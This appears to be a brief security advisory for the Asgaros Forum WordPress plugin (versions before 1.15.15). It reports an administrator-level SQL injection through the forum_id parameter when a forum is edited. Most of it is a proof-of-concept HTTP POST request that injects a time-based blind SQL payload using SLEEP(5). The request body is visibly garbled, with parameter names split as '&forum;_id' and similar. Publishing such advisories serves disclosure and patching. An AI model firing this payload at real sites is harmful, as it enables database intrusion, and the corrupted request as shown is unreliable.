Asgaros Forum < 1.15.15 - Admin+ SQL Injection via forum_id

The plugin does not validate or escape the forum_id parameter before using it in a SQL statement when editing a forum, leading to an SQL injection issue

PoC

POST /wp-admin/admin.php?page=asgarosforum-structure HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 289 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 _wpnonce=bc051820af&forum;_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)&forum;_category=79&forum;_parent_forum=0&forum;_name=First+Forum&forum;_description=My+first+forum.&forum;_parent=79_0&forum;_icon=fas+fa-comments&forum;_status=normal&forum;_order=1&af-create-edit-forum-submit;=Save